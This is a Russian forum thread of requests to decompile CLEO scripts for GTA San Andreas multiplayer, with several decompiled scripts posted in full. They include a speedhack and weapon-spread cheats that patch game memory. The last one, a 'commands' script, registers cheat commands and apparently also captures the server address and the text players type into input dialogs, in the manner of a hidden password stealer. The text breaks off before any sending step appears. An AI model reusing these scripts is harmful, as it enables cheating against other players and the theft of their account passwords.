Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,758
5,718
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

™ ChipFamily

По ту сторону надежды.
5,144
1,980
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Код открыт.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
03A4: name_thread "SPEEDHACK_FOR_TRUCKERS"

:Label00001A
0001: wait 0 ms
0A8C: write_memory 7431746 size 4 value 100000.0 virtual_protect 1
0A8C: write_memory 7431765 size 4 value 100000.0 virtual_protect 1
0A8C: write_memory 12216218 size 4 value 13 virtual_protect 1
00D6: if
0AB0:   key_pressed 90
004D: jump_if_false @Label00001A
00D6: if
00DF:   actor $PLAYER_ACTOR driving
004D: jump_if_false @Label00001A
03C0: 0@ = actor $PLAYER_ACTOR car
004D: jump_if_false @Label00001A
02E3: 1@ = car 0@ speed
00D6: if
8031:   not  1@ >= 100.0
004D: jump_if_false @Label0000B2
0013: 1@ *= 4.0
04BA: set_car 0@ speed_to 20
0001: wait 50 ms
0002: jump @Label00001A

:Label0000B2
04BA: set_car 0@ speed_to 20
0002: jump @Label00001A
hex
45 00 56 41 52 00 F1 16 26 10 A7 79 48 0A 20 C8
3E 0B 50 55 3B 8B 38 2E 3C 6E E3 03 BF 87 F6 1A
A1 3B C9 21 DB 9E 9B B7 D3 65 31 49 DB 3A C7 E4
2F 77 F6 6E 0F 9D 74 9A 0D BC A8 69 1F 53 7C 57
59 83 B4 10 EE 50 40 35 79 5F F2 AF 27 45 EB E5
D7 04 57 3D DF 51 9E 56 4B B8 71 1D D3 16 18 C7
16 58 8F C7 21 A0 E8 86 B4 D6 BF AD F4 C0 53 7E
D9 7D 7F 38 1C 92 B0 E8 4C D5 B0 D7 D7 F5 0C 3A
0E E8 71 7B C4 C5 64 58 3C 73 D0 90 3B EA 2D FB
90 4A 13 E0 50 27 B0 87 D3 54 8E 85 F8 26 FA 85
67 FB 99 23 BD E4 C9 ED 5F D0 5F CC 1B 84 3E DA
5C A9 FD D2 7C 74 37 A7 0C 2F 60 8E B4 C3 29 9B
 

™ ChipFamily

По ту сторону надежды.
5,144
1,980
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: printstring "deddosouru"

:Label000010
0001: wait 0 ms
0256:   player $PLAYER_ACTOR defined
004D: jump_if_false @Label000010
0A8D: 13@ = read_memory 7603296 size 1 virtual_protect 1

:Label00002E
0001: wait 0 ms
00D6: if
0ADC:   test_cheat "JESUSHELPMEKILLEM"
004D: jump_if_false @Label000059
0050: gosub @Label0000F4

:Label000059
00D6: if and
0039:   0@ == 1
02D8:   actor $PLAYER_ACTOR current_weapon == 24
004D: jump_if_false @Label0000B3
0A8D: 12@ = read_memory 7603296 size 1 virtual_protect 1
00D6: if
003B:   12@ == 13@ // (int)
004D: jump_if_false @Label0000A8
0A8C: write_memory 7603296 size 1 value 144 virtual_protect 1
0002: jump @Label0000AC

:Label0000A8
0001: wait 0 ms

:Label0000AC
0002: jump @Label0000ED

:Label0000B3
0A8D: 12@ = read_memory 7603296 size 1 virtual_protect 1
00D6: if
001D:   13@ > 12@ // (int)
004D: jump_if_false @Label0000E9
0A8C: write_memory 7603296 size 1 value 13@ virtual_protect 1
0002: jump @Label0000ED

:Label0000E9
0001: wait 0 ms

:Label0000ED
0002: jump @Label00002E

:Label0000F4
0B12: 0@ = 0@ XOR 1
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label00013B
0ACB: show_styled_text "~w~JESUS ~g~IS WATCHING YOU" time 2000 style 2
0002: jump @Label000163

:Label00013B
0ACB: show_styled_text "~w~JESUS ~r~IS NOT WATCHING YOU" time 2000 style 2

:Label000163
0051: return
0000: NOP
hex
00 5F 5F 53 42 46 54 52
 
  • Нравится
Реакции: checkdasound

LaRossa

Потрачен
429
117
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP

:Noname_2
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_2
0006: 4@ = 0
0006: 5@ = 0
0006: 6@ = 0
0006: 7@ = 0
0006: 8@ = 0
0006: 9@ = 0
0006: 10@ = 0
0006: 11@ = 0
0006: 12@ = 0
0006: 13@ = 0
0006: 14@ = 0
0006: 15@ = 0
0006: 16@ = 0
0007: 19@ = 2.0
0B34: samp register_client_command "spread" to_label @Noname_1916

:Noname_131
0001: wait 0 ms
00D6: if
0B3C:  samp is_dialog_responded id 1239 button 1@ list_item 2@ input_text 0
004D: jump_if_false @Noname_1909
00D6: if
0039:   1@ == 1
004D: jump_if_false @Noname_1834
00D6: if
0039:   2@ == 0
004D: jump_if_false @Noname_287
0050: gosub @Noname_4708
00D6: if
0039:   4@ == 0
004D: jump_if_false @Noname_256
0006: 4@ = 1
0AB1: call_scm_func @Noname_4785 2 22 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_287

:Noname_256
0006: 4@ = 0
0AB1: call_scm_func @Noname_4785 2 22 1.0 
0050: gosub @Noname_2558

:Noname_287
00D6: if
0039:   2@ == 1
004D: jump_if_false @Noname_397
0050: gosub @Noname_4708
00D6: if
0039:   5@ == 0
004D: jump_if_false @Noname_366
0006: 5@ = 1
0AB1: call_scm_func @Noname_4785 2 23 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_397

:Noname_366
0006: 5@ = 0
0AB1: call_scm_func @Noname_4785 2 23 1.0 
0050: gosub @Noname_2558

:Noname_397
00D6: if
0039:   2@ == 2
004D: jump_if_false @Noname_507
0050: gosub @Noname_4708
00D6: if
0039:   6@ == 0
004D: jump_if_false @Noname_476
0006: 6@ = 1
0AB1: call_scm_func @Noname_4785 2 24 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_507

:Noname_476
0006: 6@ = 0
0AB1: call_scm_func @Noname_4785 2 24 1.0 
0050: gosub @Noname_2558

:Noname_507
00D6: if
0039:   2@ == 3
004D: jump_if_false @Noname_617
0050: gosub @Noname_4708
00D6: if
0039:   7@ == 0
004D: jump_if_false @Noname_586
0006: 7@ = 1
0AB1: call_scm_func @Noname_4785 2 25 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_617

:Noname_586
0006: 7@ = 0
0AB1: call_scm_func @Noname_4785 2 25 1.0 
0050: gosub @Noname_2558

:Noname_617
00D6: if
0039:   2@ == 4
004D: jump_if_false @Noname_727
0050: gosub @Noname_4708
00D6: if
0039:   8@ == 0
004D: jump_if_false @Noname_696
0006: 8@ = 1
0AB1: call_scm_func @Noname_4785 2 26 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_727

:Noname_696
0006: 8@ = 0
0AB1: call_scm_func @Noname_4785 2 26 1.0 
0050: gosub @Noname_2558

:Noname_727
00D6: if
0039:   2@ == 5
004D: jump_if_false @Noname_837
0050: gosub @Noname_4708
00D6: if
0039:   9@ == 0
004D: jump_if_false @Noname_806
0006: 9@ = 1
0AB1: call_scm_func @Noname_4785 2 27 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_837

:Noname_806
0006: 9@ = 0
0AB1: call_scm_func @Noname_4785 2 27 1.0 
0050: gosub @Noname_2558

:Noname_837
00D6: if
0039:   2@ == 6
004D: jump_if_false @Noname_947
0050: gosub @Noname_4708
00D6: if
0039:   10@ == 0
004D: jump_if_false @Noname_916
0006: 10@ = 1
0AB1: call_scm_func @Noname_4785 2 28 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_947

:Noname_916
0006: 10@ = 0
0AB1: call_scm_func @Noname_4785 2 28 1.0 
0050: gosub @Noname_2558

:Noname_947
00D6: if
0039:   2@ == 7
004D: jump_if_false @Noname_1057
0050: gosub @Noname_4708
00D6: if
0039:   11@ == 0
004D: jump_if_false @Noname_1026
0006: 11@ = 1
0AB1: call_scm_func @Noname_4785 2 29 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_1057

:Noname_1026
0006: 11@ = 0
0AB1: call_scm_func @Noname_4785 2 29 1.0 
0050: gosub @Noname_2558

:Noname_1057
00D6: if
0039:   2@ == 8
004D: jump_if_false @Noname_1167
0050: gosub @Noname_4708
00D6: if
0039:   12@ == 0
004D: jump_if_false @Noname_1136
0006: 12@ = 1
0AB1: call_scm_func @Noname_4785 2 30 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_1167

:Noname_1136
0006: 12@ = 0
0AB1: call_scm_func @Noname_4785 2 30 1.0 
0050: gosub @Noname_2558

:Noname_1167
00D6: if
0039:   2@ == 9
004D: jump_if_false @Noname_1277
0050: gosub @Noname_4708
00D6: if
0039:   13@ == 0
004D: jump_if_false @Noname_1246
0006: 13@ = 1
0AB1: call_scm_func @Noname_4785 2 31 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_1277

:Noname_1246
0006: 13@ = 0
0AB1: call_scm_func @Noname_4785 2 31 1.0 
0050: gosub @Noname_2558

:Noname_1277
00D6: if
0039:   2@ == 10
004D: jump_if_false @Noname_1387
0050: gosub @Noname_4708
00D6: if
0039:   14@ == 0
004D: jump_if_false @Noname_1356
0006: 14@ = 1
0AB1: call_scm_func @Noname_4785 2 32 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_1387

:Noname_1356
0006: 14@ = 0
0AB1: call_scm_func @Noname_4785 2 32 1.0 
0050: gosub @Noname_2558

:Noname_1387
00D6: if
0039:   2@ == 11
004D: jump_if_false @Noname_1497
0050: gosub @Noname_4708
00D6: if
0039:   15@ == 0
004D: jump_if_false @Noname_1466
0006: 15@ = 1
0AB1: call_scm_func @Noname_4785 2 33 19@ 
0050: gosub @Noname_2558
0002: jump @Noname_1497

:Noname_1466
0006: 15@ = 0
0AB1: call_scm_func @Noname_4785 2 33 1.0 
0050: gosub @Noname_2558

:Noname_1497
00D6: if
0039:   2@ == 12
004D: jump_if_false @Noname_1834
00D6: if
0039:   16@ == 0
004D: jump_if_false @Noname_1686
0006: 4@ = 0
0006: 5@ = 0
0006: 6@ = 0
0006: 7@ = 0
0006: 8@ = 0
0006: 9@ = 0
0006: 10@ = 0
0006: 11@ = 0
0006: 12@ = 0
0006: 13@ = 0
0006: 14@ = 0
0006: 15@ = 0
0006: 16@ = 1
0006: 17@ = 22

:Noname_1631
0001: wait 0 ms
0AB1: call_scm_func @Noname_4785 2 17@ 19@ 
000A: 17@ += 1
0039:   17@ == 33
004D: jump_if_false @Noname_1631
0050: gosub @Noname_2558
0002: jump @Noname_1834

:Noname_1686
0006: 4@ = 0
0006: 5@ = 0
0006: 6@ = 0
0006: 7@ = 0
0006: 8@ = 0
0006: 9@ = 0
0006: 10@ = 0
0006: 11@ = 0
0006: 12@ = 0
0006: 13@ = 0
0006: 14@ = 0
0006: 15@ = 0
0006: 16@ = 0
0006: 17@ = 22

:Noname_1784
0001: wait 0 ms
0AB1: call_scm_func @Noname_4785 2 17@ 1.0 
000A: 17@ += 1
0039:   17@ == 33
004D: jump_if_false @Noname_1784
0050: gosub @Noname_2558

:Noname_1834
00D6: if
0039:   2@ == 13
004D: jump_if_false @Noname_1909
0AD1: show_formatted_text_highpriority "~r~Use: /spread [Value (float or Integer)]" time 2000 
0050: gosub @Noname_2558

:Noname_1909
0002: jump @Noname_131

:Noname_1916
0B35: samp 18@ = get_last_command_params
00D6: if
0AD4: 18@ = scan_string 18@ format "%f" 33@ 
004D: jump_if_false @Noname_2549
00D6: if and
0031:   33@ >= 1.0
8021:   not  33@ > 50.0
004D: jump_if_false @Noname_2487
0085: 19@ = 33@ // (int)
0AD1: show_formatted_text_highpriority "~r~Spread Value %.2f" time 2000 19@ 
00D6: if
0039:   4@ == 1
004D: jump_if_false @Noname_2051
0AB1: call_scm_func @Noname_4785 2 22 19@ 

:Noname_2051
00D6: if
0039:   5@ == 1
004D: jump_if_false @Noname_2084
0AB1: call_scm_func @Noname_4785 2 23 19@ 

:Noname_2084
00D6: if
0039:   6@ == 1
004D: jump_if_false @Noname_2117
0AB1: call_scm_func @Noname_4785 2 24 19@ 

:Noname_2117
00D6: if
0039:   7@ == 1
004D: jump_if_false @Noname_2150
0AB1: call_scm_func @Noname_4785 2 25 19@ 

:Noname_2150
00D6: if
0039:   8@ == 1
004D: jump_if_false @Noname_2183
0AB1: call_scm_func @Noname_4785 2 26 19@ 

:Noname_2183
00D6: if
0039:   9@ == 1
004D: jump_if_false @Noname_2216
0AB1: call_scm_func @Noname_4785 2 27 19@ 

:Noname_2216
00D6: if
0039:   10@ == 1
004D: jump_if_false @Noname_2249
0AB1: call_scm_func @Noname_4785 2 28 19@ 

:Noname_2249
00D6: if
0039:   11@ == 1
004D: jump_if_false @Noname_2282
0AB1: call_scm_func @Noname_4785 2 29 19@ 

:Noname_2282
00D6: if
0039:   12@ == 1
004D: jump_if_false @Noname_2315
0AB1: call_scm_func @Noname_4785 2 30 19@ 

:Noname_2315
00D6: if
0039:   13@ == 1
004D: jump_if_false @Noname_2348
0AB1: call_scm_func @Noname_4785 2 31 19@ 

:Noname_2348
00D6: if
0039:   14@ == 1
004D: jump_if_false @Noname_2381
0AB1: call_scm_func @Noname_4785 2 32 19@ 

:Noname_2381
00D6: if
0039:   15@ == 1
004D: jump_if_false @Noname_2414
0AB1: call_scm_func @Noname_4785 2 33 19@ 

:Noname_2414
00D6: if
0039:   16@ == 1
004D: jump_if_false @Noname_2480
0006: 17@ = 22

:Noname_2439
0001: wait 0 ms
0AB1: call_scm_func @Noname_4785 2 17@ 19@ 
000A: 17@ += 1
0039:   17@ == 33
004D: jump_if_false @Noname_2439

:Noname_2480
0002: jump @Noname_2542

:Noname_2487
0AD1: show_formatted_text_highpriority "~r~Use: /spread [1.0 - 50.0 (float or Integer)]" time 2000 

:Noname_2542
0002: jump @Noname_2556

:Noname_2549
0050: gosub @Noname_2558

:Noname_2556
0B43: samp cmd_ret

:Noname_2558
00D6: if
0039:   4@ == 0
004D: jump_if_false @Noname_2593
0AC6: 20@ = label @Noname_3402 offset
0002: jump @Noname_2603

:Noname_2593
0AC6: 20@ = label @Noname_3447 offset

:Noname_2603
00D6: if
0039:   5@ == 0
004D: jump_if_false @Noname_2638
0AC6: 21@ = label @Noname_3492 offset
0002: jump @Noname_2648

:Noname_2638
0AC6: 21@ = label @Noname_3546 offset

:Noname_2648
00D6: if
0039:   6@ == 0
004D: jump_if_false @Noname_2683
0AC6: 22@ = label @Noname_3600 offset
0002: jump @Noname_2693

:Noname_2683
0AC6: 22@ = label @Noname_3654 offset

:Noname_2693
00D6: if
0039:   7@ == 0
004D: jump_if_false @Noname_2728
0AC6: 23@ = label @Noname_3708 offset
0002: jump @Noname_2738

:Noname_2728
0AC6: 23@ = label @Noname_3757 offset

:Noname_2738
00D6: if
0039:   8@ == 0
004D: jump_if_false @Noname_2773
0AC6: 24@ = label @Noname_3806 offset
0002: jump @Noname_2783

:Noname_2773
0AC6: 24@ = label @Noname_3863 offset

:Noname_2783
00D6: if
0039:   9@ == 0
004D: jump_if_false @Noname_2818
0AC6: 25@ = label @Noname_3920 offset
0002: jump @Noname_2828

:Noname_2818
0AC6: 25@ = label @Noname_3976 offset

:Noname_2828
00D6: if
0039:   10@ == 0
004D: jump_if_false @Noname_2863
0AC6: 26@ = label @Noname_4032 offset
0002: jump @Noname_2873

:Noname_2863
0AC6: 26@ = label @Noname_4087 offset

:Noname_2873
00D6: if
0039:   11@ == 0
004D: jump_if_false @Noname_2908
0AC6: 27@ = label @Noname_4142 offset
0002: jump @Noname_2918

:Noname_2908
0AC6: 27@ = label @Noname_4187 offset

:Noname_2918
00D6: if
0039:   12@ == 0
004D: jump_if_false @Noname_2953
0AC6: 28@ = label @Noname_4232 offset
0002: jump @Noname_2963

:Noname_2953
0AC6: 28@ = label @Noname_4279 offset

:Noname_2963
00D6: if
0039:   13@ == 0
004D: jump_if_false @Noname_2998
0AC6: 29@ = label @Noname_4326 offset
0002: jump @Noname_3008

:Noname_2998
0AC6: 29@ = label @Noname_4370 offset

:Noname_3008
00D6: if
0039:   14@ == 0
004D: jump_if_false @Noname_3043
0AC6: 30@ = label @Noname_4414 offset
0002: jump @Noname_3053

:Noname_3043
0AC6: 30@ = label @Noname_4461 offset

:Noname_3053
00D6: if
0039:   15@ == 0
004D: jump_if_false @Noname_3088
0AC6: 31@ = label @Noname_4508 offset
0002: jump @Noname_3098

:Noname_3088
0AC6: 31@ = label @Noname_4563 offset

:Noname_3098
00D6: if
0039:   16@ == 0
004D: jump_if_false @Noname_3133
0AC6: 32@ = label @Noname_4618 offset
0002: jump @Noname_3143

:Noname_3133
0AC6: 32@ = label @Noname_4663 offset

:Noname_3143
0AC8: 0@ = allocate_memory_size 2048
0AD3: 0@ = format "%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%c%s%cYour Value Spread: %.2f" 20@ 10 21@ 10 22@ 10 23@ 10 24@ 10 25@ 10 26@ 10 27@ 10 28@ 10 29@ 10 30@ 10 31@ 10 32@ 10 19@ 
0B3B: samp show_dialog id 1239 caption "{33FF33}Spread {CC0000}by AIR {FFFFFF}||{CC9933} Special for Ryder" text 0@ button_1 "Select" button_2 "Close" style 2
0AC9: free_allocated_memory 0@
0051: return

:Noname_3402
hex
39 6D 6D 20 7B 30 30 36 36 46 46 7D 5B 7B 46 46
46 46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30 30 7D
4F 46 46 7B 30 30 36 36 46 46 7D 5D 00 39 6D 6D
20 7B 30 30 36 36 46 46 7D 5B 7B 33 33 46 46 33
33 7D 4F 4E 7B 46 46 46 46 46 46 7D 2F 4F 46 46
7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_3492
hex
53 69 6C 65 6E 63 65 64 20 39 6D 6D 20 7B 30 30
36 36 46 46 7D 5B 7B 46 46 46 46 46 46 7D 4F 4E
2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B 30 30 36
36 46 46 7D 5D 00
end

:Noname_3546
hex
53 69 6C 65 6E 63 65 64 20 39 6D 6D 20 7B 30 30
36 36 46 46 7D 5B 7B 33 33 46 46 33 33 7D 4F 4E
7B 46 46 46 46 46 46 7D 2F 4F 46 46 7B 30 30 36
36 46 46 7D 5D 00
end

:Noname_3600
hex
44 65 73 65 72 74 20 45 61 67 6C 65 20 7B 30 30
36 36 46 46 7D 5B 7B 46 46 46 46 46 46 7D 4F 4E
2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B 30 30 36
36 46 46 7D 5D 00
end

:Noname_3654
hex
44 65 73 65 72 74 20 45 61 67 6C 65 20 7B 30 30
36 36 46 46 7D 5B 7B 33 33 46 46 33 33 7D 4F 4E
7B 46 46 46 46 46 46 7D 2F 4F 46 46 7B 30 30 36
36 46 46 7D 5D 00
end

:Noname_3708
hex
53 68 6F 74 67 75 6E 20 7B 30 30 36 36 46 46 7D
5B 7B 46 46 46 46 46 46 7D 4F 4E 2F 7B 43 43 30
30 30 30 7D 4F 46 46 7B 30 30 36 36 46 46 7D 5D
00 53 68 6F 74 67 75 6E 20 7B 30 30 36 36 46 46
7D 5B 7B 33 33 46 46 33 33 7D 4F 4E 7B 46 46 46
46 46 46 7D 2F 4F 46 46 7B 30 30 36 36 46 46 7D
5D 00
end

:Noname_3806
hex
53 61 77 6E 6F 66 66 20 53 68 6F 74 67 75 6E 20
7B 30 30 36 36 46 46 7D 5B 7B 46 46 46 46 46 46
7D 4F 4E 2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B
30 30 36 36 46 46 7D 5D 00 53 61 77 6E 6F 66 66
20 53 68 6F 74 67 75 6E 20 7B 30 30 36 36 46 46
7D 5B 7B 33 33 46 46 33 33 7D 4F 4E 7B 46 46 46
46 46 46 7D 2F 4F 46 46 7B 30 30 36 36 46 46 7D
5D 00
end

:Noname_3920
hex
43 6F 6D 62 61 74 20 53 68 6F 74 67 75 6E 20 7B
30 30 36 36 46 46 7D 5B 7B 46 46 46 46 46 46 7D
4F 4E 2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B 30
30 36 36 46 46 7D 5D 00
end

:Noname_3976
hex
43 6F 6D 62 61 74 20 53 68 6F 74 67 75 6E 20 7B
30 30 36 36 46 46 7D 5B 7B 33 33 46 46 33 33 7D
4F 4E 7B 46 46 46 46 46 46 7D 2F 4F 46 46 7B 30
30 36 36 46 46 7D 5D 00
end

:Noname_4032
hex
4D 69 63 72 6F 20 53 4D 47 2F 55 7A 69 20 7B 30
30 36 36 46 46 7D 5B 7B 46 46 46 46 46 46 7D 4F
4E 2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B 30 30
36 36 46 46 7D 5D 00 4D 69 63 72 6F 20 53 4D 47
2F 55 7A 69 20 7B 30 30 36 36 46 46 7D 5B 7B 33
33 46 46 33 33 7D 4F 4E 7B 46 46 46 46 46 46 7D
2F 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4142
hex
4D 50 35 20 7B 30 30 36 36 46 46 7D 5B 7B 46 46
46 46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30 30 7D
4F 46 46 7B 30 30 36 36 46 46 7D 5D 00 4D 50 35
20 7B 30 30 36 36 46 46 7D 5B 7B 33 33 46 46 33
33 7D 4F 4E 7B 46 46 46 46 46 46 7D 2F 4F 46 46
7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4232
hex
41 4B 2D 34 37 20 7B 30 30 36 36 46 46 7D 5B 7B
46 46 46 46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30
30 7D 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00 41
4B 2D 34 37 20 7B 30 30 36 36 46 46 7D 5B 7B 33
33 46 46 33 33 7D 4F 4E 7B 46 46 46 46 46 46 7D
2F 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4326
hex
4D 34 20 7B 30 30 36 36 46 46 7D 5B 7B 46 46 46
46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30 30 7D 4F
46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4370
hex
4D 34 20 7B 30 30 36 36 46 46 7D 5B 7B 33 33 46
46 33 33 7D 4F 4E 7B 46 46 46 46 46 46 7D 2F 4F
46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4414
hex
54 65 63 2D 39 20 7B 30 30 36 36 46 46 7D 5B 7B
46 46 46 46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30
30 7D 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00 54
65 63 2D 39 20 7B 30 30 36 36 46 46 7D 5B 7B 33
33 46 46 33 33 7D 4F 4E 7B 46 46 46 46 46 46 7D
2F 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4508
hex
43 6F 75 6E 74 72 79 20 52 69 66 6C 65 20 7B 30
30 36 36 46 46 7D 5B 7B 46 46 46 46 46 46 7D 4F
4E 2F 7B 43 43 30 30 30 30 7D 4F 46 46 7B 30 30
36 36 46 46 7D 5D 00 43 6F 75 6E 74 72 79 20 52
69 66 6C 65 20 7B 30 30 36 36 46 46 7D 5B 7B 33
33 46 46 33 33 7D 4F 4E 7B 46 46 46 46 46 46 7D
2F 4F 46 46 7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4618
hex
41 6C 6C 20 7B 30 30 36 36 46 46 7D 5B 7B 46 46
46 46 46 46 7D 4F 4E 2F 7B 43 43 30 30 30 30 7D
4F 46 46 7B 30 30 36 36 46 46 7D 5D 00 41 6C 6C
20 7B 30 30 36 36 46 46 7D 5B 7B 33 33 46 46 33
33 7D 4F 4E 7B 46 46 46 46 46 46 7D 2F 4F 46 46
7B 30 30 36 36 46 46 7D 5D 00
end

:Noname_4708
00D6: if
0039:   16@ == 1
004D: jump_if_false @Noname_4783
0006: 17@ = 22

:Noname_4733
0001: wait 0 ms
0AB1: call_scm_func @Noname_4785 2 17@ 1.0 
000A: 17@ += 1
0039:   17@ == 33
004D: jump_if_false @Noname_4733
0006: 16@ = 0
0051: return

:Noname_4785
000A: 0@ += 36
0012: 0@ *= 112
000A: 0@ += 13150960
0A8C: write_memory 0@ size 4 value 1@ virtual_protect 0
0AB2: ret 0
 
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Реакции: checkdasound

checkdasound

Известный
Проверенный
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код скиньте, чем вы декриптите?
 

Вложения

  • hnnssy_commands.cs
    28.5 KB · Просмотры: 18

™ ChipFamily

По ту сторону надежды.
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Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
код скиньте, чем вы декриптите?
AVP Game Protect
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0006: 0@ = -28947
0050: gosub 0@
03A4: name_thread "hnnssy"
0662: printstring "text"
00D6: if
8AF7:   not samp 0@ = get_base
004D: jump_if_false @Label000033
0A93: end_custom_thread

:Label000033
8AFA:   not is_samp_available
004D: jump_if_false @Label000047
0001: wait 100 ms
0002: jump @Label000033

:Label000047
01F5: $PLAYER_ACTOR = get_player_actor $PLAYER_CHAR
0AF8: samp add_message_to_chat "[hnnssy | CMDS] {EAEAEA}Команды. Автор: {00CCFF}hnnssy" color 52479 
0B34: samp register_client_command "spawn" to_label @Label00077D
0B34: samp register_client_command "sendpic" to_label @Label001377
0B34: samp register_client_command "rpicks" to_label @Label00160F
0B34: samp register_client_command "flood" to_label @Label000B6A
0B34: samp register_client_command "act" to_label @Label000C44
0B34: samp register_client_command "spawncar" to_label @Label000CDA
0B34: samp register_client_command "spawncars" to_label @Label000D87
0B34: samp register_client_command "uncuffme" to_label @Label000E1D
0B34: samp register_client_command "achelp" to_label @Label000733
0B34: samp register_client_command "dinfo" to_label @Label000830
0B34: samp register_client_command "cchat" to_label @Label000785
0B34: samp register_client_command "reconnect" to_label @Label000E63
0B34: samp register_client_command "sskin" to_label @Label000E8F
0B34: samp register_client_command "pinfo" to_label @Label0008BB
0B34: samp register_client_command "fakedb" to_label @Label000EDF
0B34: samp register_client_command "warpto" to_label @Label000F5A
0B34: samp register_client_command "vcols" to_label @Label001101
0B34: samp register_client_command "svcols" to_label @Label001211
0B34: samp register_client_command "down" to_label @Label00134B
0B34: samp register_client_command "addpt" to_label @Label001415
0B34: samp register_client_command "carids" to_label @Label001461
0B34: samp register_client_command "pping" to_label @Label001532
0B34: samp register_client_command "players" to_label @Label0016EA
0B34: samp register_client_command "izn" to_label @Label00189D
0B34: samp register_client_command "knock" to_label @Label001921
0B34: samp register_client_command "incar" to_label @Label0019BD
0B34: samp register_client_command "scar" to_label @Label0019E4
0B34: samp register_client_command "gcar" to_label @Label001A41
0B34: samp register_client_command "cmdrate" to_label @Label001ABA
0B34: samp register_client_command "islap" to_label @Label001CB6
0B34: samp register_client_command "nick" to_label @Label001CE3
0B34: samp register_client_command "cveh" to_label @Label001B57
0B34: samp register_client_command "qserv" to_label @Label001D00

:Label00026E
0001: wait 0 ms
00D6: if
056D:   actor $PLAYER_ACTOR defined
004D: jump_if_false @Label000364
0001: wait 4000 ms
0AC8: 0@ = allocate_memory_size 128
0B39: samp get_current_server_address 0@ port 1@
0AC8: 21@ = allocate_memory_size 260

:Label00029F
0001: wait 0 ms
0B4D: samp 18@ = get_current_dialog_type
0B4E: samp 19@ = get_current_dialog_id
00D6: if
0039:   18@ == 1
004D: jump_if_false @Label00029F
00D6: if
0B4A: samp 21@ = get_current_dialog_editbox_text
004D: jump_if_false @Label00029F
00D6: if
0B4C:  samp is_dialog_active 19@
004D: jump_if_false @Label0002E6
0002: jump @Label00029F

:Label0002E6
0001: wait 0 ms

:Label0002EA
0001: wait 0 ms
00D6: if
0AB1: call_scm_func @Label002C18 0 
004D: jump_if_false @Label0002EA
0050: gosub @Label00274A
0AC8: 22@ = allocate_memory_size 260

:Label000312
0001: wait 0 ms
0B4D: samp 18@ = get_current_dialog_type
0B4E: samp 19@ = get_current_dialog_id
00D6: if
0039:   18@ == 1
004D: jump_if_false @Label000312
00D6: if
0B4A: samp 22@ = get_current_dialog_editbox_text
004D: jump_if_false @Label000312
00D6: if
0B4C:  samp is_dialog_active 19@
004D: jump_if_false @Label000359
0002: jump @Label000312

:Label000359
0001: wait 0 ms
0050: gosub @Label002983

:Label000364
0002: jump @Label00036B

:Label00036B
0001: wait 0 ms
00D6: if
0039:   10@ == 1
004D: jump_if_false @Label00049C
0006: 0@ = 0

:Label000388
